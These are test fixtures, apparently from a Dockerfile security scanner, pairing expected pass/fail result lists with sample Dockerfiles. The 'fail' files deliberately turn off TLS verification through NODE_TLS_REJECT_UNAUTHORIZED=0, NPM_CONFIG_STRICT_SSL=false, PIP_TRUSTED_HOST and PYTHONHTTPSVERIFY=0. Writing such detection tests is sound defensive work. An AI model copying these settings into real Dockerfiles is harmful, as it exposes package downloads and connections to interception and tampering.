'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/fail/Dockerfile.basic ================================================ FROM alpine:3.5 ENV NODE_TLS_REJECT_UNAUTHORIZED 0 ENV NODE_TLS_REJECT_UNAUTHORIZED=0 ENV NODE_TLS_REJECT_UNAUTHORIZED="0" ENV NODE_TLS_REJECT_UNAUTHORIZED='0' ARG NODE_TLS_REJECT_UNAUTHORIZED=0 ARG NODE_TLS_REJECT_UNAUTHORIZED="0" ARG NODE_TLS_REJECT_UNAUTHORIZED='0' ARG NODE_TLS_REJECT_UNAUTHORIZED 0 ENV LOL=666 NODE_TLS_REJECT_UNAUTHORIZED=0 ENV NODE_TLS_REJECT_UNAUTHORIZED=0 LOL=666 ENV NODE_TLS_REJECT_UNAUTHORIZED 0 ARG NODE_TLS_REJECT_UNAUTHORIZED 0 ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/fail/Dockerfile.run.basic ================================================ FROM alpine:3.15 RUN NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED="0" python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED='0' python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED=0 TEST="lol" python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED="0" TEST='lol' python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED='0' TEST=lol python example.py RUN LOL=123 NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py RUN LOL="123" NODE_TLS_REJECT_UNAUTHORIZED="0" python example.py RUN LOL='123' NODE_TLS_REJECT_UNAUTHORIZED='0' python example.py RUN TEST_123="456" NODE_TLS_REJECT_UNAUTHORIZED=0 TEST="lol" python example.py RUN TEST_123='456' NODE_TLS_REJECT_UNAUTHORIZED="0" TEST='lol' python example.py RUN TEST_123=456 NODE_TLS_REJECT_UNAUTHORIZED='0' TEST="lol" python example.py RUN TEST_123="456" \ NODE_TLS_REJECT_UNAUTHORIZED=0 \ TEST="lol" \ python example.py RUN TEST_123='456' \ NODE_TLS_REJECT_UNAUTHORIZED="0" \ TEST='lol'\ python example.py RUN \ TEST_123=456\ NODE_TLS_REJECT_UNAUTHORIZED='0' \ TEST="lol" \ python example.py ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/fail/Dockerfile.run.quotes ================================================ FROM alpine:3.15 RUN NODE_TLS_REJECT_UNAUTHORIZED=0 TEST="lol\"" python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED="0" TEST='lol\'' python example.py RUN LOL="123\"" NODE_TLS_REJECT_UNAUTHORIZED="0" python example.py RUN LOL='123\'' NODE_TLS_REJECT_UNAUTHORIZED='0' python example.py ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/fail/Dockerfile.run.shell ================================================ FROM alpine:3.15 RUN ABC=123 echo test; NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py ;DEF=456 echo lol; RUN ABC=123 echo test;NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py;DEF=456 echo lol; RUN ABC=123 echo test ;NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py; DEF=456 echo lol; RUN ABC=123 echo test&& NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py &&DEF=456 echo lol; RUN ABC=123 echo test&&NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py&&DEF=456 echo lol; RUN ABC=123 echo test &&NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py&& DEF=456 echo lol; RUN ABC=123 echo test|| NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py ||DEF=456 echo lol; RUN ABC=123 echo test||NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py||DEF=456 echo lol; RUN ABC=123 echo test ||NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py|| DEF=456 echo lol; RUN ABC=123 echo test| NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py |DEF=456 echo lol; RUN ABC=123 echo test|NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py|DEF=456 echo lol; RUN ABC=123 echo test |NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py| DEF=456 echo lol; RUN ABC=123 echo test; NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py ; DEF=456 echo lol; RUN ABC=123 echo test ; NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py; DEF=456 echo lol; ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/fail/Dockerfile.run.whitespace ================================================ FROM alpine:3.15 RUN TEST_123="456" NODE_TLS_REJECT_UNAUTHORIZED=0 python example.py RUN TEST_123='456' NODE_TLS_REJECT_UNAUTHORIZED="0" python example.py RUN TEST_123=456 NODE_TLS_REJECT_UNAUTHORIZED='0' python example.py RUN TEST_123="456" NODE_TLS_REJECT_UNAUTHORIZED=0 TEST="lol" python example.py RUN TEST_123='456' NODE_TLS_REJECT_UNAUTHORIZED="0" TEST="lol" python example.py RUN TEST_123=456 NODE_TLS_REJECT_UNAUTHORIZED='0' TEST="lol" python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED=0 TEST="lol" python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED="0" TEST="lol" python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED='0' TEST="lol" python example.py ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/pass/Dockerfile ================================================ FROM alpine:3.5 ENV NODE_TLS_REJECT_UNAUTHORIZED=1 ENV NODE_TLS_REJECT_UNAUTHORIZED 1 ENV NODE_TLS_REJECT_UNAUTHORIZED 666 ARG NODE_TLS_REJECT_UNAUTHORIZED=1 ARG NODE_TLS_REJECT_UNAUTHORIZED 1 ARG NODE_TLS_REJECT_UNAUTHORIZED 666 ENV LOL=666 ASDFNODE_TLS_REJECT_UNAUTHORIZED=0 ENV ASDFNODE_TLS_REJECT_UNAUTHORIZED=0 LOL=666 ENV LOL=666 \ ASDFNODE_TLS_REJECT_UNAUTHORIZED=0 ENV LOL=666 NODE_TLS_REJECT_UNAUTHORIZED=1 ENV NODE_TLS_REJECT_UNAUTHORIZED 1 ARG NODE_TLS_REJECT_UNAUTHORIZEDLOL=0 RUN python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED=1 python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED="1" python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED='1' python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED="0\"" python example.py RUN NODE_TLS_REJECT_UNAUTHORIZED='0\'' python example.py RUN LOL=123 \ ASDFNODE_TLS_REJECT_UNAUTHORIZED=0 python example.py RUN LOL=123 NODE_TLS_REJECT_UNAUTHORIZED=1 python example.py RUN NODE_TLS_REJECT_UNAUTHORIZEDLOL=0 python example.py ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/expected.yaml ================================================ pass: - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/fail/Dockerfile.basic ================================================ FROM node:18 ENV NPM_CONFIG_STRICT_SSL false ENV NPM_CONFIG_STRICT_SSL=false ENV NPM_CONFIG_STRICT_SSL="false" ENV NPM_CONFIG_STRICT_SSL='false' ARG NPM_CONFIG_STRICT_SSL=false ARG NPM_CONFIG_STRICT_SSL="false" ARG NPM_CONFIG_STRICT_SSL='false' ARG NPM_CONFIG_STRICT_SSL false ENV LOL=555 NPM_CONFIG_STRICT_SSL=false ENV NPM_CONFIG_STRICT_SSL=false LOL=555 ENV NPM_CONFIG_STRICT_SSL false ARG NPM_CONFIG_STRICT_SSL false ENV npm_config_strict_ssl false ENV npm_config_strict_ssl=false ENV npm_config_strict_ssl="false" ENV npm_config_strict_ssl='false' ARG npm_config_strict_ssl=false ARG npm_config_strict_ssl="false" ARG npm_config_strict_ssl='false' ARG npm_config_strict_ssl false ENV LOL=555 npm_config_strict_ssl=false ENV npm_config_strict_ssl=false LOL=555 ENV npm_config_strict_ssl false ARG npm_config_strict_ssl false ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/fail/Dockerfile.run.basic ================================================ FROM node:18 RUN NPM_CONFIG_STRICT_SSL=false npm ci RUN NPM_CONFIG_STRICT_SSL="false" npm ci RUN NPM_CONFIG_STRICT_SSL='false' npm ci RUN npm_config_strict_ssl=false npm ci RUN npm_config_strict_ssl="false" npm ci RUN npm_config_strict_ssl='false' npm ci RUN NPM_CONFIG_STRICT_SSL=false TEST="lol" npm ci RUN NPM_CONFIG_STRICT_SSL="false" TEST='lol' npm ci RUN NPM_CONFIG_STRICT_SSL='false' TEST=lol npm ci RUN npm_config_strict_ssl=false TEST="lol" npm ci RUN npm_config_strict_ssl="false" TEST='lol' npm ci RUN npm_config_strict_ssl='false' TEST=lol npm ci RUN LOL=123 NPM_CONFIG_STRICT_SSL=false npm ci RUN LOL="123" NPM_CONFIG_STRICT_SSL="false" npm ci RUN LOL='123' NPM_CONFIG_STRICT_SSL='false' npm ci RUN LOL=123 npm_config_strict_ssl=false npm ci RUN LOL="123" npm_config_strict_ssl="false" npm ci RUN LOL='123' npm_config_strict_ssl='false' npm ci RUN TEST_123="456" NPM_CONFIG_STRICT_SSL=false TEST="lol" npm ci RUN TEST_123='456' NPM_CONFIG_STRICT_SSL="false" TEST='lol' npm ci RUN TEST_123=456 NPM_CONFIG_STRICT_SSL='false' TEST="lol" npm ci RUN TEST_123="456" npm_config_strict_ssl=false TEST="lol" npm ci RUN TEST_123='456' npm_config_strict_ssl="false" TEST='lol' npm ci RUN TEST_123=456 npm_config_strict_ssl='false' TEST="lol" npm ci RUN TEST_123="456" \ NPM_CONFIG_STRICT_SSL=false \ TEST="lol" \ npm ci RUN TEST_123='456' \ NPM_CONFIG_STRICT_SSL="false" \ TEST='lol'\ npm ci RUN \ TEST_123=456\ NPM_CONFIG_STRICT_SSL='false' \ TEST="lol" \ npm ci RUN TEST_123="456" \ npm_config_strict_ssl=false \ TEST="lol" \ npm ci RUN TEST_123='456' \ npm_config_strict_ssl="false" \ TEST='lol'\ npm ci RUN \ TEST_123=456\ npm_config_strict_ssl='false' \ TEST="lol" \ npm ci ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/fail/Dockerfile.run.quotes ================================================ FROM node:18 RUN NPM_CONFIG_STRICT_SSL=false TEST="lol\"" npm ci RUN NPM_CONFIG_STRICT_SSL="false" TEST='lol\'' npm ci RUN LOL="123\"" npm_config_strict_ssl="false" npm ci RUN LOL='123\'' npm_config_strict_ssl='false' npm ci ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/fail/Dockerfile.run.shell ================================================ FROM node:18 RUN ABC=123 echo test; NPM_CONFIG_STRICT_SSL=false npm ci ;DEF=456 echo lol; RUN ABC=123 echo test;NPM_CONFIG_STRICT_SSL=false npm ci;DEF=456 echo lol; RUN ABC=123 echo test ;NPM_CONFIG_STRICT_SSL=false npm ci; DEF=456 echo lol; RUN ABC=123 echo test&& npm_config_strict_ssl=false npm ci &&DEF=456 echo lol; RUN ABC=123 echo test&&npm_config_strict_ssl=false npm ci&&DEF=456 echo lol; RUN ABC=123 echo test &&npm_config_strict_ssl=false npm ci&& DEF=456 echo lol; RUN ABC=123 echo test|| NPM_CONFIG_STRICT_SSL=false npm ci ||DEF=456 echo lol; RUN ABC=123 echo test||NPM_CONFIG_STRICT_SSL=false npm ci||DEF=456 echo lol; RUN ABC=123 echo test ||NPM_CONFIG_STRICT_SSL=false npm ci|| DEF=456 echo lol; RUN ABC=123 echo test| npm_config_strict_ssl=false npm ci |DEF=456 echo lol; RUN ABC=123 echo test|npm_config_strict_ssl=false npm ci|DEF=456 echo lol; RUN ABC=123 echo test |npm_config_strict_ssl=false npm ci| DEF=456 echo lol; RUN ABC=123 echo test; NPM_CONFIG_STRICT_SSL=false npm ci ; DEF=456 echo lol; RUN ABC=123 echo test ; NPM_CONFIG_STRICT_SSL=false npm ci; DEF=456 echo lol; ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/fail/Dockerfile.run.whitespace ================================================ FROM node:18s RUN TEST_123="456" NPM_CONFIG_STRICT_SSL=false npm install RUN TEST_123='456' NPM_CONFIG_STRICT_SSL="false" npm install RUN TEST_123=456 NPM_CONFIG_STRICT_SSL='false' npm install RUN TEST_123="456" npm_config_strict_ssl=false TEST="lol" npm install RUN TEST_123='456' npm_config_strict_ssl="false" TEST="lol" npm install RUN TEST_123=456 npm_config_strict_ssl='false' TEST="lol" npm install RUN NPM_CONFIG_STRICT_SSL=false TEST="lol" npm install RUN NPM_CONFIG_STRICT_SSL="false" TEST="lol" npm install RUN NPM_CONFIG_STRICT_SSL='false' TEST="lol" npm install ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNpmConfigStrictSsl/pass/Dockerfile ================================================ FROM node:18 ENV NPM_CONFIG_STRICT_SSL=true ENV NPM_CONFIG_STRICT_SSL true ENV NPM_CONFIG_STRICT_SSL Nyota_Uhura ARG NPM_CONFIG_STRICT_SSL=true ARG NPM_CONFIG_STRICT_SSL true ARG NPM_CONFIG_STRICT_SSL James_Tiberius_Kirk ENV LOL=123 ASDFNPM_CONFIG_STRICT_SSL=false ENV ASDFNPM_CONFIG_STRICT_SSL=false LOL=321 ENV LOL=123 \ ASDFNPM_CONFIG_STRICT_SSL="false" ENV LOL=321 NPM_CONFIG_STRICT_SSL=true ENV NPM_CONFIG_STRICT_SSL "true" ARG NPM_CONFIG_STRICT_SSLLOL=false ENV npm_config_strict_ssl=true ENV npm_config_strict_ssl true ENV npm_config_strict_ssl Nyota_Uhura ARG npm_config_strict_ssl=true ARG npm_config_strict_ssl true ARG npm_config_strict_ssl James_Tiberius_Kirk ENV LOL=123 asdfnpm_config_strict_ssl=false ENV asdfnpm_config_strict_ssl=false LOL=321 ENV LOL=123 \ asdfnpm_config_strict_ssl="false" ENV LOL=321 npm_config_strict_ssl=true ENV npm_config_strict_ssl "true" ARG npm_config_strict_ssllol=false RUN npm install RUN NPM_CONFIG_STRICT_SSL=true npm install RUN NPM_CONFIG_STRICT_SSL="true" npm install RUN NPM_CONFIG_STRICT_SSL='true' npm install RUN NPM_CONFIG_STRICT_SSL="false\"" npm install RUN NPM_CONFIG_STRICT_SSL='false\'' npm install RUN LOL=Spok \ ASDFNPM_CONFIG_STRICT_SSL="false" npm install RUN LOL=123 NPM_CONFIG_STRICT_SSL=true npm install RUN NPM_CONFIG_STRICT_SSLLOL=false npm install RUN npm_config_strict_ssl=true npm install RUN npm_config_strict_ssl="true" npm install RUN npm_config_strict_ssl='true' npm install RUN npm_config_strict_ssl="false\"" npm install RUN npm_config_strict_ssl='false\'' npm install RUN LOL=Spok \ asdfnpm_config_strict_ssl="false" npm install RUN LOL=123 npm_config_strict_ssl=true npm install RUN npm_config_strict_ssllol=false npm install ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPipTrustedHost/expected.yaml ================================================ pass: - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.envvars.ENV' - 'fail/Dockerfile.envvars.ENV' - 'fail/Dockerfile.envvars.ENV' - 'fail/Dockerfile.envvars.ENV' - 'fail/Dockerfile.envvars.ARG' - 'fail/Dockerfile.envvars.ARG' - 'fail/Dockerfile.envvars.ARG' - 'fail/Dockerfile.envvars.ARG' - 'fail/Dockerfile.envvars.ENV' - 'fail/Dockerfile.envvars.ENV' - 'fail/Dockerfile.envvars.ENV' - 'fail/Dockerfile.envvars.ARG' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' - 'fail/Dockerfile.run.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPipTrustedHost/fail/Dockerfile.envvars ================================================ FROM python:3 ENV PIP_TRUSTED_HOST pypi.python.org ENV PIP_TRUSTED_HOST=pypi.python.org ENV PIP_TRUSTED_HOST="pypi.python.org" ENV PIP_TRUSTED_HOST='pypi.python.org' ARG PIP_TRUSTED_HOST=pypi.python.org ARG PIP_TRUSTED_HOST="pypi.python.org" ARG PIP_TRUSTED_HOST='pypi.python.org' ARG PIP_TRUSTED_HOST pypi.python.org ENV LOL=123 PIP_TRUSTED_HOST=pypi.python.org ENV PIP_TRUSTED_HOST=pypi.python.org LOL=123 ENV PIP_TRUSTED_HOST pypi.python.org ARG PIP_TRUSTED_HOST pypi.python.org ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPipTrustedHost/fail/Dockerfile.run ================================================ FROM python:3 RUN export PIP_TRUSTED_HOST=pypi.python.org && pip install checkov RUN export PIP_TRUSTED_HOST="pypi.python.org" && pip install checkov RUN export PIP_TRUSTED_HOST='pypi.python.org' && pip install checkov RUN PIP_TRUSTED_HOST=pypi.python.org pip install checkov RUN PIP_TRUSTED_HOST="pypi.python.org" pip install checkov RUN PIP_TRUSTED_HOST='pypi.python.org' pip install checkov RUN PIP_TRUSTED_HOST=pypi.python.org CHECKOV=AWESOME pip install checkov RUN PIP_TRUSTED_HOST="pypi.python.org" CHECKOV="AWESOME" pip install checkov RUN PIP_TRUSTED_HOST='pypi.python.org' CHECKOV='AWESOME' pip install checkov RUN CHECKOV=AWESOME PIP_TRUSTED_HOST=pypi.python.org pip install checkov RUN CHECKOV="AWESOME" PIP_TRUSTED_HOST="pypi.python.org" pip install checkov RUN CHECKOV='AWESOME' PIP_TRUSTED_HOST='pypi.python.org' pip install checkov RUN TEST_123="456" PIP_TRUSTED_HOST=pypi.python.org geordi="la forge" pip install checkov RUN TEST_123='456' PIP_TRUSTED_HOST="pypi.python.org" geordi='la forge' pip install checkov RUN TEST_123=456 PIP_TRUSTED_HOST='pypi.python.org' geordi="la forge" pip install checkov RUN TEST_123="456" \ PIP_TRUSTED_HOST=pypi.python.org \ EXAMPLE="VAR" \ pip install checkov RUN TEST_123='456' \ PIP_TRUSTED_HOST="pypi.python.org" \ EXAMPLE='VAR' \ pip install checkov RUN \ TEST_123=456\ PIP_TRUSTED_HOST='pypi.python.org' \ EXAMPLE="VAR" \ pip install checkov ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPipTrustedHost/pass/Dockerfile ================================================ FROM python:3 RUN pip3 install checkov RUN PIP_TRUSTED_HOSTASDF=test pip install checkov RUN ASDFPIP_TRUSTED_HOST=test pip install checkov RUN echo PIP_TRUSTED_HOST | pip install checkov &&\ echo "PIP_TRUSTED_HOST" ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/expected.yaml ================================================ pass: - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/fail/Dockerfile.basic ================================================ FROM alpine:3.5 ENV PYTHONHTTPSVERIFY 0 ENV PYTHONHTTPSVERIFY=0 ENV PYTHONHTTPSVERIFY="0" ENV PYTHONHTTPSVERIFY='0' ARG PYTHONHTTPSVERIFY=0 ARG PYTHONHTTPSVERIFY="0" ARG PYTHONHTTPSVERIFY='0' ARG PYTHONHTTPSVERIFY 0 ENV LOL=666 PYTHONHTTPSVERIFY=0 ENV PYTHONHTTPSVERIFY=0 LOL=666 ENV PYTHONHTTPSVERIFY 0 ARG PYTHONHTTPSVERIFY 0 ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvPythonHttpsVerify/fail/Dockerfile.run.basic ================================================ FROM alpine:3.15 RUN PYTHONHTTPSVERIFY=0 python example.py RUN PYTHONHTTPSVERIFY="0" python example.py RUN PYTHONHTTPSVERIFY='0' python example.py RUN PYTHONHTTPSVERIFY=0 TEST="lol" python example.py RUN PYTHONHTTPSVERIFY="0" TEST='lol' python example.py RUN PYTHONHTTPSVERIFY='0' TEST=lol python example.py RUN LOL=123 PYTHONHTTPSVERIFY=0 python example.py RUN LOL="123" PYTHONHTTPSVERIFY="0" python example.py RUN LOL='123' PYTHONHTTPSVERIFY='0' python example.py RUN TEST_123="456" PYTHONHTTPSVERIFY=0 TEST="lol" python example.py RUN TEST_123='456' PYTHONHTTPSVERIFY="0" TEST='lol' python example.py RUN TEST_123=456 PYTHONHTTPSVERIFY='0' TEST="lol" python example.py RUN TEST_123="456" \ PYTHONHTTPSVERIFY=0 \ TEST="lol" \ python example.py RUN TEST_123='456' \ PYTHONHTTPSVERIFY="0" \ 